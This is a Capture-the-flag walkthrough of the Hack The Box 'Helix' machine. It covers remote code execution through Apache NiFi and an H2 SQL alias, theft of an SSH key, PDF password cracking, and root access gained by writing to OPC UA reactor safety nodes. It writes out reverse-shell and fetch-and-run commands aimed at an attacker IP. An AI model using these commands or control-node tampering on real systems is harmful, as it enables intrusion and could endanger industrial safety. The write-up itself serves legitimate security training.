Hack The Box: Helix Machine – Medium Difficulty
UncategorizedIntroduction to Helix:

In this write-up, we will explore the “Helix” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Helix” machine from Hack The Box by achieving the following objectives:
User Flag
Initial access was obtained through the Apache NiFi instance by abusing the ExecuteProcess processor to execute commands and establish a reverse shell as the nifi user. Enumeration of the NiFi installation revealed a backup SSH private key at support-bundles/operator_id_ed25519.bak. The recovered key was used to authenticate as the operator user, where the user flag was found in the home directory.
Root Flag
Privilege escalation was achieved by abusing the OPC UA control interface. The operator user was allowed to execute helix-maint-console as root, but access was restricted by a maintenance window. The Operator Control & Safety Guide revealed the required sequence: set Mode to MAINTENANCE, enable TestOverride, and modify CalibrationOffset. These values were changed through the OPC UA server, opening the privileged maintenance window. The maintenance console was then executed as root, allowing the root flag to be retrieved from /root/root.txt.
Enumerating the Helix Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Nmap Output:
Analysis:
- Port 22 (SSH): Secure Shell service for remote access.
- Port 80 (HTTP): Web server running Apache.
Web Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.

The main site at http://helix.htb presents the Helix Industries landing page, branded as an Operations Centre focused on industrial automation and critical infrastructure since 2014. The hero section displays the slogan “ENGINEERING OPERATIONAL CERTAINTY.” along with a short description of the company’s role in designing automation, reliability, and security systems, plus prominent “START A PROJECT” and “REQUEST A CALL” buttons in the navigation.

Clicking Start a Project opens a modal titled Project Intake that contains a single free-text field for Project Summary, with placeholder text prompting for systems involved, constraints, and timeline, together with Cancel and Send Brief buttons.

Selecting Request a Call displays a Consultation modal containing fields for Full Name, Company, Work Email, and a text area asking what help is needed, accompanied by Cancel and Submit buttons.

The same Request a Call form is later shown populated with test values including the name “dark,” company “darkhelix,” email “dark@helix.htb,” and the message “aaa,” indicating active form interaction during traffic analysis.

Burp Suite Community Edition is open on the Proxy Intercept tab with Intercept enabled. The intercept pane is empty, displaying only the default “Intercept is on” message and traffic-light graphic, indicating that the proxy is ready to capture traffic but no request is currently being held.

The Start a Project modal reappears with the summary field containing the test string “aaa,” further demonstrating systematic testing of the available submission functionality.
Virtual Host Discovery

A gobuster directory enumeration against http://helix.htb using a large subdomain wordlist completes without discovering any interesting paths, returning only the expected 404 responses.

An FFUF run employing the raft-small-directories-lowercase wordlist also finishes empty, reinforcing that the primary virtual host contains no hidden directories or files of interest.

Virtual host enumeration with ffuf against http://helix.htb using a Host header of FUZZ.helix.htb and filtering responses of size 154 successfully identifies the subdomain “flow”, returning a 200 response with a size of 1068 bytes.
Apache NiFi Exploration

Browsing to http://flow.helix.htb/ displays a simple page suggesting “Did you mean: /nifi” and indicating an automatic redirect will occur in five seconds, confirming the presence of an Apache NiFi instance.

A partial view of the NiFi canvas shows a connection labelled “success” linking two processors, with the relationship status displayed as Queued 0 (0 bytes).

The About Apache NiFi dialog confirms the running version as 1.21.0, tagged nifi-1.21.0-RC2 and dated 04/03/2023, along with a brief description of NiFi as a framework for designing scalable and flexible dataflows.

The top-right hamburger menu is expanded, listing options such as Summary, Counters, Bulletin Board, Data Provenance, Controller Settings, and About, with the About entry currently highlighted.
Initial Foothold via ExecuteProcess

The NiFi toolbar is shown with the Processor icon highlighted, indicating the user is preparing to add a new processor to the canvas that already contains the existing LogAttribute and ExecuteSQL components.

The Add Processor dialogue is open, displaying a searchable list of available processor types filtered by tags, with AttributeRollingWindow currently selected and its description visible at the bottom.

Continuing in the Add Processor dialog, processors such as ExecuteGroovyScript, ExecuteProcess, ExecuteSQL, and ExecuteScript are listed, highlighting the availability of command-execution and database-related components.

An ExecuteProcess processor of version 1.21.0 has been added to the NiFi canvas, displaying a warning icon and zero activity across its input, read/write, output, and tasks metrics.

Right-clicking the ExecuteProcess processor opens a context menu offering options such as Disable, View data provenance, Replay last event, View status history, View usage, View connections, Centre in view, Change colour, Group, Create template, Copy, and Delete.

The Configure Processor dialogue for ExecuteProcess is open on the Settings tab. The processor is marked Invalid, is enabled, and shows default values for Penalty Duration (30 sec), Yield Duration (1 sec), and Bulletin Level (WARN).

A local Python HTTP server is started with the command sudo python3 -m http.server 80, serving files on port 80 from the attacker’s machine in preparation for a payload delivery.

On the Properties tab of the ExecuteProcess configuration, the Command is set to /bin/bash and the Command Arguments are set to -c “curl http://10.10.15.132/dark”, indicating an attempt to fetch and execute a remote payload.

The Create Connection dialogue is used to link the ExecuteProcess processor to the existing LogAttribute processor, selecting the “success” relationship so that successful executions flow into the logging component.

The ExecuteProcess processor now displays a green play/start icon overlaid on its metrics, indicating that the processor has been started and is ready to run.

The updated NiFi canvas shows the newly added ExecuteProcess processor connected via a “success” relationship to LogAttribute, which in turn remains connected to the original ExecuteSQL processor, forming a complete dataflow path.

Right-clicking the ExecuteProcess processor now shows a context menu with the “Run Once” option highlighted, allowing a single execution of the configured command without continuously running the processor.

The local Python HTTP server logs a 404 response for a GET request to /dark from the target IP 10.129.17.224, confirming that the earlier curl payload attempted to fetch a non-existent file.

A netcat listener is started on port 9007 with the command nc -lvnp 9007, waiting for an incoming reverse shell connection.

The ExecuteProcess Properties tab is updated so that the Command Arguments now contain a reverse-shell payload: -c “bash -i >/dev/tcp/10.10.15.132/9007 0>&1”, while the processor status remains Stopped.

Nothing happens on ncat connection

A subsequent configuration attempts to use curl to download a shell script to /tmp/shell. The command then sets executable permissions and runs the script, although the string appears truncated or malformed.

The Python HTTP server logs a successful 200 response for a GET request to /shell from the target. This confirms that the payload file was successfully retrieved.

The netcat listener receives an incoming connection from 10.129.17.224, resulting in a reverse shell as the nifi user inside the /opt/nifi-1.21.0 directory.
Alternative Foothold via ExecuteSQL and H2

The Add Processor dialog is filtered for “exec”, highlighting ExecuteSQL alongside ExecuteProcess and ExecuteScript. This indicates the intended path for SQL-based command execution.

The Operate panel for the NiFi Flow process group is displayed, providing controls to start, stop, and manage the dataflow.

Controller Service Details for a DBCPConnectionPool are displayed, configured with an H2 in-memory JDBC URL, the org.h2.Driver class, and the local H2 JAR path at /opt/nifi-1.21.0/lib/h2-2.1.214.jar.

The local dark.sql payload is examined. It contains a CREATE ALIAS statement that defines a Java method for command execution, followed by a CALL that launches a reverse shell.

A Create Connection dialogue is used to link the ExecuteSQL processor to LogAttribute on the success relationship.

The canvas now shows ExecuteSQL connected via a success relationship to the existing LogAttribute processor.

Right-clicking the ExecuteSQL processor opens its context menu, ready for configuration or execution.

While configuring ExecuteSQL, the Add Controller Service dialogue is used to create a new DBCPConnectionPool instance required by the processor.

The ExecuteSQL processor is configured with the DBCPConnectionPool service. Its SQL query references the remote dark.sql script, causing the H2 database to fetch and execute it.

The NiFi Flow Configuration lists the DBCPConnectionPool and MaintenanceDB controller services. Both services are shown as enabled.

The local payload file rce.sql is examined, revealing a CREATE ALIAS statement that defines a Java method capable of executing system commands, followed by a CALL that launches a reverse shell to the attacker’s IP on port 9007.

The ExecuteSQL processor uses the DBCPConnectionPool service. Its SQL query references the remote rce.sql file, preparing the H2 database to fetch and execute the script.

On the NiFi canvas, the ExecuteSQL processor is connected to LogAttribute. Both success and failure relationships are selected, with zero queued data shown.

A Python HTTP server is started on port 81. The rce.sql file is successfully served to the target at 10.129.245.123 with a 200 response.
Post-Exploitation as nifi

The netcat listener on port 9007 receives a connection from the target. A reverse shell is obtained as the nifi user in the /opt/nifi-1.21.0 directory.

Inside the obtained shell, the NiFi installation directory is listed. Standard components such as bin, conf, lib, logs, and support-bundles are identified for further enumeration.

The local shell payload file is displayed, revealing a simple Bash reverse shell. It redirects the connection to the attacker’s IP on port 9007.

After obtaining a shell as the nifi user, the support-bundles directory is entered and listed. A single file, operator_id_ed25519.bak, is discovered.

The operator_id_ed25519.bak file is examined and confirmed to contain a full OpenSSH private key belonging to the operator user.

Using the recovered private key, an SSH connection is successfully established as the operator user. The standard Ubuntu 22.04 welcome banner and system information are displayed.

Listing the operator user’s home directory shows three items. There is a PNG diagram of the control systems. There is also a password-protected PDF titled “Operator Control & Safety Guide.pdf”. Finally, the user flag file is present.

The user flag is read, revealing the value
Escalate to Root Privileges Access
Privilege Escalation:

The Operator Control & Safety Guide PDF is also retrieved from the same internal web server on port 8082. This completes the collection of documentation files from the target.
Gathering Documentation

The downloaded control systems diagram is opened. It illustrates the architecture with an Operator Station and an OPC UA Server at opc.tcp://127.0.0.1:4840/helix/.
Cracking the PDF

Attempting to open the Operator Control & Safety Guide PDF prompts for a password, confirming the document is encrypted.

pdf2john is used to extract the PDF password hash into a file named hash.txt for offline cracking.

John the Ripper is run against the extracted hash using the rockyou wordlist. It successfully recovers the password “operator1” in under two minutes.
Identifying the Maintenance Console

With the password applied, the PDF opens to the title page. It is the Helix Industries Reactor Operations & Safety Logic – Operator Guide. The document outlines normal operational behaviour, safety mechanisms, and maintenance control logic.

Section 6 of the guide details the exact steps to enter Maintenance Mode. First, switch Mode to MAINTENANCE. Next, enable TestOverride. Then use CalibrationOffset for controlled adjustment. This confirms the sequence later exploited via the OPC UA client.
System Enumeration

Running sudo -l as operator shows that the user may execute /usr/local/sbin/helix-maint-console as root without a password.

Attempting to run the maintenance console immediately returns the message “Maintenance window CLOSED.”, indicating that the privileged shell is currently unavailable.

The source of the helix-maint-console script is examined. It checks for the existence and validity of a timestamp file at /opt/helix/state/maintenance_window. Only then does it grant a root shell.

A process listing is generated with ps -auxwwf, which displays the current system processes and provides further insight into the running environment.

A continuation of the process list reveals the running NiFi Java process. It also shows the earlier reverse-shell command that downloaded and executed the payload. This confirms the initial foothold as the nifi user.

Further down the process list, industrial control binaries are visible. helix-plc runs as the plc user. helix-safety runs as root. helix-hmi runs as www-data. These highlight the OT components on the system.

The command ss -tlnup is executed. It shows listening ports including 127.0.0.1:4840 (likely OPC UA), 0.0.0.0:80, and 0.0.0.0:22. Several localhost ports related to NiFi and other services also appear.
Interacting with OPC UA

On the attacker machine, the opcua-client Python package is installed via pip3. This prepares it for interaction with the internal OPC UA server.

Running opcua-client displays available endpoints, including opc.tcp://localhost:4840 and a simulation server address, indicating the tool is ready for connection.

An SSH local port forward is established, mapping the remote ports 4840 and 8081 to the attacker’s localhost so that the OPC UA server and HMI can be accessed externally.
Manipulating Reactor Controls

After the tunnel is active, the Helix Industries Reactor HMI opens in the browser at http://127.0.0.1:8081. It shows the current reactor temperature of 274.2 °C, pressure, safety status, and a CLOSED maintenance window.


A new browser tab opens at http://127.0.0.1:4840/. This is the local endpoint of the OPC UA server. The SSH tunnel makes it accessible.

The FreeOpcUa Client connects to opc.tcp://localhost:4840. The node tree expands under Plant → Control. The Mode node is selected and shows the value NORMAL.

Navigation continues into the Reactor branch, where the Temperature node is highlighted, and its live value is displayed as approximately 284 °C.

Returning to the Control section, the Mode node is again selected, still reflecting the NORMAL operating state.

The Mode value is successfully changed to MAINTENANCE, confirming write access to the control node via the OPC UA client.

The CalibrationOffset node under Reactor is selected, and its value is updated to 20.0, artificially raising the reported temperature.

The TestOverride node is examined and shown with a Boolean value of False.

TestOverride is then set to True, enabling the test condition required by the safety controller.
Gaining Root Access

After the OPC UA modifications, the Reactor HMI now reports a temperature of 304.2 °C, Mode set to MAINTENANCE, Test Override True, and the Privileged Maintenance Window status changed to OPEN with roughly 108 seconds remaining.

With the maintenance window open, running sudo /usr/local/sbin/helix-maint-console grants a root shell, displaying a countdown of the remaining window time.

As root, the root flag is retrieved from /root/root.txt, completing the compromise of the Helix machine.